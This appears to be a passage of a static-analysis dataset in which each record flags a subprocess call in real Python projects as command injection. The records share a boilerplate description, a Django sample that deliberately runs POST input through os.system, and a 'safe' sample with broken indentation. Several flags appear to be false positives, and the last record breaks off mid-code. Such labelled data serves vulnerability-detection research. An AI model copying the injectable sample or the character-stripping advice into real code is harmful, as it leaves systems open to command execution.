{"id": "70e5f78ae87d5bfa5ec1f1cf8781b1b101b5f40ca3787691a1e17afc3eb87137", "license": {"spdx": ["Apache-2.0"], "repo": "gregbdunn/firecracker", "path": "tests/integration_tests/security/test_seccomp.py", "repo_head_hexsha": "e7bc0a1f9b70deaa7bfd9eb641e0c7982fe63e68", "stack_hexsha": "bcc4fcfb44a442a2523238a8484bf80417464006", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 30, "entireCode": "# Copyright 2018 Amazon.com, Inc. or its affiliates. All Rights Reserved.\n# SPDX-License-Identifier: Apache-2.0\n\"\"\"Tests that the seccomp filters don't let blacklisted syscalls through.\"\"\"\n\nimport os\n\nfrom subprocess import run\n\nimport pytest\n\nimport host_tools.cargo_build as host  # pylint:disable=import-error\n\n\n@pytest.fixture\ndef tmp_basic_jailer(test_session_root_path):\n    \"\"\"Build `demo_basic_jailer`, required for the basic seccomp tests.\n\n    :return: The paths of the built binary.\n    \"\"\"\n    binaries_srcdir = os.path.normpath(\n        os.path.join(\n            os.getcwd(),\n            'integration_tests/security/demo_advanced_seccomp/'\n        )\n    )\n    build_path = os.path.join(\n        test_session_root_path,\n        host.CARGO_RELEASE_REL_PATH\n    )\n    run(\"cd {} && CARGO_TARGET_DIR={} cargo build --release\".format(\n        binaries_srcdir, build_path), shell=True, check=True)\n\n    release_binaries_path = os.path.join(\n        host.CARGO_RELEASE_REL_PATH,\n        host.RELEASE_BINARIES_REL_PATH\n    )\n    release_binaries_path = os.path.join(\n        test_session_root_path,\n        release_binaries_path\n    )\n    demo_basic_jailer = os.path.normpath(\n        os.path.join(\n            release_binaries_path,\n            'demo_basic_jailer'\n        )\n    )\n\n    yield demo_basic_jailer\n\n    os.remove(demo_basic_jailer)\n\n\n@pytest.fixture\ndef tmp_advanced_seccomp_binaries(test_session_root_path):\n    \"\"\"\n    Build binaries required for the advanced seccomp tests.\n\n    Build `demo_advanced_jailer`, `demo_harmless_firecracker`, and\n    `demo_malicious_firecracker.\n    :return: The paths of the built binaries.\n    \"\"\"\n    binaries_srcdir = os.path.normpath(\n        os.path.join(\n            os.getcwd(),\n            'integration_tests/security/demo_advanced_seccomp/'\n        )\n    )\n    build_path = os.path.join(\n        test_session_root_path,\n        host.CARGO_RELEASE_REL_PATH\n    )\n    run(\"cd {} && CARGO_TARGET_DIR={} cargo build --release\".format(\n        binaries_srcdir, build_path), shell=True, check=True)\n\n    release_binaries_path = os.path.join(\n        host.CARGO_RELEASE_REL_PATH,\n        host.RELEASE_BINARIES_REL_PATH\n    )\n    release_binaries_path = os.path.join(\n        test_session_root_path,\n        release_binaries_path\n    )\n    demo_advanced_jailer = os.path.normpath(\n        os.path.join(\n            release_binaries_path,\n            'demo_advanced_jailer'\n        )\n    )\n    demo_harmless_firecracker = os.path.normpath(\n        os.path.join(\n            release_binaries_path,\n            'demo_harmless_firecracker'\n        )\n    )\n    demo_malicious_firecracker = os.path.normpath(\n        os.path.join(\n            release_binaries_path,\n            'demo_malicious_firecracker'\n        )\n    )\n\n    yield \\\n        demo_advanced_jailer, \\\n        demo_harmless_firecracker, \\\n        demo_malicious_firecracker\n\n    os.remove(demo_advanced_jailer)\n    os.remove(demo_harmless_firecracker)\n    os.remove(demo_malicious_firecracker)\n\n\ndef test_seccomp_ls(tmp_basic_jailer):\n    \"\"\"Assert that the seccomp filters deny a blacklisted syscall.\"\"\"\n    # pylint: disable=redefined-outer-name\n    # The fixture pattern causes a pylint false positive for that rule.\n\n    # Path to the `ls` binary, which attempts to execute `SYS_access`,\n    # blacklisted for Firecracker.\n    ls_command_path = '/bin/ls'\n    demo_jailer = tmp_basic_jailer\n\n    assert os.path.exists(demo_jailer)\n\n    # Compile the mini jailer.\n    outcome = run([demo_jailer, ls_command_path])\n\n    # The seccomp filters should send SIGSYS (31) to the binary. `ls` doesn't\n    # handle it, so it will exit with error.\n    assert outcome.returncode != 0\n\n\ndef test_advanced_seccomp_harmless(tmp_advanced_seccomp_binaries):\n    \"\"\"\n    Test `demo_harmless_firecracker`.\n\n    Test that the built demo jailer allows the built demo harmless firecracker.\n    \"\"\"\n    # pylint: disable=redefined-outer-name\n    # The fixture pattern causes a pylint false positive for that rule.\n\n    demo_advanced_jailer, demo_harmless_firecracker, _ =\\\n        tmp_advanced_seccomp_binaries\n\n    assert os.path.exists(demo_advanced_jailer)\n    assert os.path.exists(demo_harmless_firecracker)\n\n    outcome = run([demo_advanced_jailer, demo_harmless_firecracker])\n\n    # The demo harmless firecracker should have terminated gracefully.\n    assert outcome.returncode == 0\n\n\ndef test_advanced_seccomp_malicious(tmp_advanced_seccomp_binaries):\n    \"\"\"\n    Test `demo_malicious_firecracker`.\n\n    Test that the built demo jailer denies the built demo malicious\n    firecracker.\n    \"\"\"\n    # pylint: disable=redefined-outer-name\n    # The fixture pattern causes a pylint false positive for that rule.\n\n    demo_advanced_jailer, _, demo_malicious_firecracker =\\\n        tmp_advanced_seccomp_binaries\n\n    assert os.path.exists(demo_advanced_jailer)\n    assert os.path.exists(demo_malicious_firecracker)\n\n    outcome = run([demo_advanced_jailer, demo_malicious_firecracker])\n\n    # The demo malicious firecracker should have received `SIGSYS`.\n    assert outcome.returncode != 0", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9.     # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13.     os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 30, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "de72a6a646a3ee4c8de9a35aace2ffafe0b00e15cfef1776f8e28cb337251db1", "license": {"spdx": ["MIT"], "repo": "zainamir-98/bioradar", "path": "scripts/GUI_restart.py", "repo_head_hexsha": "b826ed869a58778a321153dae3c93f17f40d2f7a", "stack_hexsha": "97d6b1b1207de186f313949afee6fd694df16691", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 17, "entireCode": "# Use this command if numpy import fails: sudo apt-get install python-dev libatlas-base-dev\n# If this doesn't work, uninstall both numpy and scipy. Thonny will keep an older default version of numpy.\n# Install an older version of scipy that corresponds to the correct version of numpy.\n\nfrom guizero import App, PushButton, Slider,  Text, ButtonGroup, Picture, Box, CheckBox\nimport sys\nimport time\nimport subprocess\nimport os\n\nDEBUG_MODE = False\n#CONT_REALTIME_MONITORING = False\n\ndef gui_open_rr_hr():\n    app.destroy()\n    #os.system(\"cmd /c py final.py -u\")\n    process = subprocess.run('python3 scripts/run_rr_hr.py -u', shell=True)\n    \ndef gui_open_hrv_hr():\n    app.destroy()\n    process = subprocess.run('python3 scripts/run_hrv_hr.py -u', shell=True)\n\ndef gui_go_to_connect():\n    print(\"Connecting...\")\n    start_menu_box.hide()\n    connect_menu_box.show()\n    \n    start_footer_box.hide()\n    other_footer_box.show()\n    \n    connect_menu_text2.hide()\n    # Connection function\n    connect_menu_text.after(1000, gui_check_connection)\n    \ndef gui_go_to_manual():\n    start_menu_box.hide()\n    manual_menu_box.show()\n    \n    start_footer_box.hide()\n    other_footer_box.show()\n    \ndef gui_check_connection():\n    connect_menu_text.value = \"Connected!\"\n    connect_menu_text2.show()\n    \ndef gui_go_back_to_menu():\n    connect_menu_box.hide()\n    manual_menu_box.hide()\n    if connect_menu_text.value == \"Connected!\":\n        connect_menu_text.value = \"Connecting to MyVitals...\"\n    \n    start_menu_box.show()\n    other_footer_box.hide()\n    start_footer_box.show()\n    \n\napp = App(title=\"BioRadar (Prototype)\", width=480, height=320, bg=\"#141414\")\nif not DEBUG_MODE:\n    app.full_screen = True\n\nstart_menu_box = Box(app, width=\"fill\")\npad_1 = Box(start_menu_box, width=\"fill\", height=20)\nbox_1 = Box(start_menu_box, width=\"fill\")\npad_1_2 = Box(box_1, width=140, height=1, align=\"left\")\npicture = Picture(box_1, image=\"images/brlogo.png\", width=51, height=40, align=\"left\") # W:H = 1.277\npad_1_2 = Box(box_1, width=10, height=1, align=\"left\")\nmessage = Text(box_1, text=\"BioRadar\", color=\"#FFFFFF\", size=20, align=\"left\")\npad_2 = Box(start_menu_box, width=\"fill\", height=40)\nmessage = Text(start_menu_box, text=\"Select how you want to monitor your vitals.\", color=\"#FFFFFF\", size=15)\npad_3 = Box(start_menu_box, width=\"fill\", height=18)\nbutton1 = PushButton(start_menu_box, text=\"Online mode\", command=gui_go_to_connect)\nbutton1.bg = \"#6ED3A9\"\npad_4 = Box(start_menu_box, width=\"fill\", height=10)\nbutton2 = PushButton(start_menu_box, text=\"Manual mode\", command=gui_go_to_manual)\nbutton2.bg = \"#6ED3A9\"\nstart_menu_box.hide()\n\nconnect_menu_box = Box(app, width=\"fill\")\npad_1 = Box(connect_menu_box, width=\"fill\", height=100)\nconnect_menu_text = Text(connect_menu_box, text=\"Connecting to MyVitals...\", color=\"#FFFFFF\", size=20)\npad_2 = Box(connect_menu_box, width=\"fill\", height=30)\nconnect_menu_text2 = Text(connect_menu_box, text=\"Waiting for online commands...\", color=\"#FFFFFF\", size=16)\nconnect_menu_box.hide()\n\n# Manual mode\n\nmanual_menu_box = Box(app, width=\"fill\")\npad = Box(manual_menu_box, width=\"fill\", height=20)\nmanual_menu_text = Text(manual_menu_box, text=\"Manual Mode\", color=\"#FFFFFF\", size=20)\npad = Box(manual_menu_box, width=\"fill\", height=50)\nbutton_box = Box(manual_menu_box, width=460, height=90)\nbutton1 = PushButton(button_box, text=\"Respiration Rate\\nHeart Rate\", command=gui_open_rr_hr, align=\"left\")\npad = Box(button_box, width=10, height=90, align=\"left\")\nbutton2 = PushButton(button_box, text=\"Heart Rate Variability\\nHeart Rate*\", command=gui_open_hrv_hr, align=\"right\")\nbutton1.text_size = 16\nbutton2.text_size = 16\nbutton1.bg = \"#6ED3A9\"\nbutton2.bg = \"#6ED3A9\"\npad = Box(manual_menu_box, width=\"fill\", height=30)\npad = Box(manual_menu_box, width=\"fill\", height=6)\ntxt = Text(manual_menu_box, text=\"* You will need to hold your breath for 10 seconds for\\nheart rate variability measurements.\", color=\"#C8C8C8\", size=11)\n\n# Footers\n\nstart_footer_box = Box(app, width=\"fill\", align=\"bottom\")\nfyp_text = Text(start_footer_box, text=\"   © 2021 Final-Year Project, SEECS, NUST\", color=\"#C8C8C8\", size=11, align=\"left\")\nexit_button = PushButton(start_footer_box, text=\"Exit\", align=\"right\", command=exit)\nexit_button.bg = \"#6ED3A9\"\nstart_footer_box.hide()\n\nother_footer_box = Box(app, width=\"fill\", align=\"bottom\")\nexit_button = PushButton(other_footer_box, text=\"Exit\", align=\"right\", command=exit)\nexit_button.bg = \"#6ED3A9\"\nback_button = PushButton(other_footer_box, text=\"Back\", align=\"right\", command=gui_go_back_to_menu)\nback_button.bg = \"#6ED3A9\"\n             \napp.display()", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9.     # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13.     os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 17, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "6c2ebe917047671e41f7519bf39091927b71315d50808e8fa14fdc4cdd09cf6a", "license": {"spdx": ["MIT"], "repo": "Ann-Holmes/CellO", "path": "cello/download_resources.py", "repo_head_hexsha": "bc2192a2d27e0859f6df885a6fc246e26e54a7b0", "stack_hexsha": "e13147c692ddf6997325ddaffddf29246eba0b66", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 31, "entireCode": "\"\"\"\nDownload CellO's resources files. These files include CellO's pre-trained\nmodels, gene ID-to-symbol mappings, and training sets for training CellO's\nmodels on new gene sets.\n\nAuthors:  <>\n\"\"\"\n\nimport subprocess\nfrom os.path import join\nfrom shutil import which\n\ndef download(dest):\n    if which('curl') is None:\n        sys.exit(\n            \"\"\"\n            Error. Could not find command, 'curl'. Please make sure that \n            curl is installed and available via the 'PATH' variable. For \n            details, see https://curl.se.\n            \"\"\"\n        )\n    cmds = [\n        'curl http://deweylab.biostat.wisc.edu/cell_type_classification/resources_v2.0.0.tar.gz > {}'.format(\n            join(dest, 'resources_v2.0.0.tar.gz')\n        ),\n        'tar -C {} -zxf resources_v2.0.0.tar.gz'.format(dest),\n        'rm {}'.format(join(dest, 'resources_v2.0.0.tar.gz'))\n    ]\n    for cmd in cmds:\n        print('Running command: {}'.format(cmd))\n        subprocess.run(cmd, shell=True)\n", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9.     # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13.     os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 31, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "5cd2ee4e7960dd12b7840f3ce11747047d35ea26b39574b27255c4cd8f8a1703", "license": {"spdx": ["Unlicense"], "repo": "ColdStack-Network/blockchain", "path": "deploy/deploy.py", "repo_head_hexsha": "3852f888e9d184a4fbc71365514a55dd9c510adb", "stack_hexsha": "b2666be5a27dd8e787680368717223bfc00f077e", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 30, "entireCode": "#!/usr/bin/env python3\n\nimport argparse\nimport subprocess\nimport json\n\nparser = argparse.ArgumentParser(description='Deploy blockchain')\nparser.add_argument('--validator-node', \n  help='validator node ssh address. First node becomes boot node and active validator.', \n  nargs='+'\n)\nparser.add_argument('--api-node', help='api node ssh address', nargs='+', default=[])\nparser.add_argument('--boot-node-addr', help='first (boot) node ip address', required=True)\nparser.add_argument('--secrets', help='secrets file', required=True)\nparser.add_argument('--env', help='production or staging', choices=['prod', 'stage'], required=True)\nparser.add_argument('--tag', help='tag of docker image', required=True)\nparser.add_argument('--with-existing-data', \n  help='Do not initialize data directory, just start containers', \n  action='store_true'\n)\nargs = parser.parse_args()\n\nprint('Parsed CLI args', args)\n\ndef read_secrets_file():\n  with open(args.secrets, 'r') as file:\n    return json.loads(file.read())\n\ndef run(command, input=None):\n  subprocess.run(command, shell=True, check=True, text=True, input=input)\n\ndef run_ssh(host, input, sudo=False):\n  print('run command on host', host)\n  print(input)\n  print('\\n')\n  if sudo:\n    run('ssh ' + host + ' sudo bash -e' , input)\n  else:\n    run('ssh ' + host + ' bash -e' , input)\n\ndef prepare_blockchain_dir(host):\n  print('creating blockchain directory on host', host)\n  run_ssh(host, \n    f\"\"\"\n    mkdir -p /var/blockchain\n    chown 1000.1000 /var/blockchain -R\n    \"\"\",\n    sudo=True\n  )\n\ndef init_node(host):\n  print('Initialize node', host)\n  prepare_blockchain_dir(host)\n\ndef init_keystore(host):\n  print('Initialize keystore', host)\n  key_types = dict(aura = 'Sr25519', gran = 'Ed25519')\n  for key_type in key_types:\n    scheme = key_types[key_type]\n    key_file_name = f\"blockchain_deploy_key_{key_type}\"\n    with open(f\"/tmp/{key_file_name}\", 'w') as file:\n      file.write(secrets['authorities'][0])\n\n    print(f\"Copy authority key file {key_type}\", host)\n    run(f\"scp /tmp/{key_file_name} {host}:/tmp\")\n\n    print(f\"Initializing key store for {key_type}\", host)\n    try:\n      input = f\"docker run \\\n        -v /var/blockchain:/data \\\n        -v /tmp:/keys \\\n        --rm \\\n        coldstack/privatechain:{args.tag} key insert \\\n        --chain /chainspec/{args.env}.json \\\n        --key-type {key_type}  \\\n        --scheme {scheme} \\\n        --suri /keys/{key_file_name} \\\n      \"\n      run_ssh(host, input)\n    finally:\n      print('Removing authority key file', host)\n      run_ssh(host, f\"rm /tmp/{key_file_name}\")\n\n\ndef run_api_node(host):\n  print('Run API node on host', host)\n  if not args.with_existing_data:\n    init_node(host)\n  input = f\"docker run \\\n  -d \\\n  --restart unless-stopped \\\n  -p 30333:30333 \\\n  -p 9933:9933 \\\n  -p 9944:9944 \\\n  -v /var/blockchain:/data \\\n  coldstack/privatechain:{args.tag} \\\n  --name 'Coldstack Public {args.env}' \\\n  --pruning archive \\\n  --no-telemetry --no-prometheus \\\n  --chain /chainspec/{args.env}.json \\\n  --execution wasm \\\n  --port 30333   \\\n  --ws-port 9944 \\\n  --rpc-external \\\n  --ws-external  \\\n  --rpc-port 9933 \\\n  --rpc-cors all \\\n  --bootnodes /ip4/{args.boot_node_addr}/tcp/30333/p2p/{secrets['peer_id']} \\\n  \"\n  run_ssh(host, input)\n\n\ndef run_validator_node(host, is_boot_node, is_validator):\n  print('Run validator node on host', host, 'is_boot_node =', is_boot_node)\n  if not args.with_existing_data:\n    init_node(host)\n    init_keystore(host)\n  input = f\"docker run \\\n  -d \\\n  --restart unless-stopped \\\n  -p 30333:30333 \\\n  -v /var/blockchain:/data \\\n  coldstack/privatechain:{args.tag} \\\n  --name 'Coldstack Validator {args.env}' \\\n  --pruning archive \\\n  --no-telemetry --no-prometheus \\\n  --chain /chainspec/{args.env}.json \\\n  --execution wasm \\\n  --port 30333 \\\n  \"\n  if is_validator:\n    input = f\"{input} \\\n      --validator \\\n    \"\n  if is_boot_node:\n    input = f\"{input} \\\n     --node-key {secrets['nodekey']} \\\n    \"\n  else:\n    input = f\"{input} \\\n     --bootnodes /ip4/{args.boot_node_addr}/tcp/30333/p2p/{secrets['peer_id']} \\\n    \"\n  run_ssh(host, input)\n\n\nsecrets = read_secrets_file()\n\nfor i, host in enumerate(args.validator_node):\n  run_validator_node(host, is_boot_node = (i == 0), is_validator = (i == 0))\n\nfor host in args.api_node:\n  run_api_node(host)", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9.     # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13.     os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 30, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "ded01c3b0e6d1a43d689a1e1d937761a5568e284c338f5e24499a60b9ab33649", "license": {"spdx": ["MIT"], "repo": "mcpeixoto/Sentrade", "path": "archived/twitter_filtering_deprecated_code/tw_keyword_search.py", "repo_head_hexsha": "55f65508d6b565b99840c9ce5d757185f5027164", "stack_hexsha": "0f9b0b94a9c2c162c1af702148c3ee04656d8ab2", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 17, "entireCode": "__author__ = \"\"\n__status__ = \"prototype\"\n\nimport tarfile\nimport json\nimport re\nimport subprocess\nimport os\nimport nltk\nimport time\n\nyear = 2019\nmonth = 9\nday = 16\nkeyword_list = [\"netflix\", \"amazon\", \"apple\", \"microsoft\", \"google\", \"tesla\", \"facebook\"]\ndate = \"{0}-{1}-{2}\".format(year, str(month).zfill(2), str(day).zfill(2))\nsubprocess.run(\"rm ./keyword_search_time.log\", shell=True)\ntime_log = open(\"./keyword_search_time.log\", 'a')\ntime_log.write(\"{0:8s}\t{1}\\n\".format(\"keyword\", \"searching time(s)\"))\n\n\nfor keyword in keyword_list:\n\tstart_tick = time.time()\n\t# subprocess.run(\"rm \" + \"./subject_tw/raw/{0}_{1}.json\".format(keyword, date), shell=True)\n\ttw_text_file_keyword = open(\"./subject_tw/raw/{0}_{1}.json\".format(keyword, date), 'a')\n\t# for hour in range(6, 24):\n\t# \ttw_folder = \"./{0}/{1}/\".format(str(day).zfill(2), str(hour).zfill(2))\n\t# \tfor filename in os.listdir(tw_folder):\n\t# \t\t# load the json file into the memory\n\t# \t\twith open(tw_folder + filename, 'r') as f:\n\t# \t\t\tdata = [json.loads(line) for line in f]\n\n\t# \t\t# write the selected items into a new json file\n\t# \t\tfor item in data:\n\t# \t\t\tkeys = item.keys()\n\t# \t\t\tif \"text\" in keys and \"lang\" in keys and item[\"lang\"] == \"en\":\n\t# \t\t\t\tif re.search(re.compile(keyword), item[\"text\"].lower()): # search based on the lower case\n\t# \t\t\t\t\tjson.dump(item, tw_text_file_keyword)\n\t# \t\t\t\t\ttw_text_file_keyword.write('\\n')\n\n\ttw_text_file_keyword.close()\n\tend_tick = time.time()\n\ttime_log.write(\"{0:8s}\t{1:.3f}\\n\".format(keyword, end_tick - start_tick))\n\ntime_log.close()", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9.     # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13.     os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 17, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "b73e8378777512fb596346d6aace3286634235ffec6ff2b76cb08c69ab708cb3", "license": {"spdx": ["MIT"], "repo": "mandarvaze/ulauncher-dendron", "path": "dendron/extension.py", "repo_head_hexsha": "67358dde684127dcba4bb383057b20c7fd89c2a0", "stack_hexsha": "89ff18e78c669221542df841657ba147fbc35054", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 65, "entireCode": "import logging\nimport subprocess\nfrom threading import Thread\nfrom ulauncher.api.client.Extension import Extension\nfrom ulauncher.api.shared.event import KeywordQueryEvent, ItemEnterEvent, \\\n    PreferencesEvent, PreferencesUpdateEvent\nfrom ulauncher.api.shared.action.ExtensionCustomAction import \\\n    ExtensionCustomAction\nfrom ulauncher.api.shared.action.RenderResultListAction import \\\n    RenderResultListAction\nfrom ulauncher.api.shared.item.ExtensionResultItem import ExtensionResultItem\nfrom dendron.preferences import PreferencesEventListener, PreferencesUpdateEventListener\nfrom dendron.query_listener import KeywordQueryEventListener\nfrom dendron.item_listener import ItemEnterEventListener\n\nlogger = logging.getLogger(__name__)\n\n\nclass DendronExtension(Extension):\n    \"\"\" Main Extension Class  \"\"\"\n    def __init__(self):\n        \"\"\" Initializes the extension \"\"\"\n        super(DendronExtension, self).__init__()\n        self.subscribe(KeywordQueryEvent, KeywordQueryEventListener())\n        self.subscribe(ItemEnterEvent, ItemEnterEventListener())\n        self.subscribe(PreferencesEvent, PreferencesEventListener())\n        self.subscribe(PreferencesUpdateEvent,\n                       PreferencesUpdateEventListener())\n\n    def load_notes(self):\n        \"\"\" Load Dendron notes into memory \"\"\"\n        th = Thread(target=self.dendron.load_notes)\n        th.daemon = True\n        th.start()\n\n    def search_notes(self, query):\n        \"\"\" Search notes \"\"\"\n        notes = self.dendron.search(query)\n        items = []\n\n        if len(notes) == 0:\n            return RenderResultListAction([\n                ExtensionResultItem(icon='images/icon.png',\n                                    name='No notes found',\n                                    highlightable=False)\n            ])\n        for item in notes[:8]:\n            items.append(\n                ExtensionResultItem(icon='images/icon.png',\n                                    name=item['title'],\n                                    description=item['file'],\n                                    on_enter=ExtensionCustomAction({\n                                        'action':\n                                        'open_note',\n                                        'path':\n                                        item['path']\n                                    })))\n        return RenderResultListAction(items)\n\n    def open_note(self, path):\n        \"\"\" Open the selected note on the configured Dendron workspace \"\"\"\n        cmd = self.preferences[\"dendron_cmd\"]\n        cmd = cmd.replace(\"%f%\", path)\n\n        subprocess.run(cmd, shell=True)\n\n    def reload_action(self):\n        \"\"\" Shows reload action \"\"\"\n        return RenderResultListAction([\n            ExtensionResultItem(icon='images/icon.png',\n                                name='Reload notes',\n                                highlightable=False,\n                                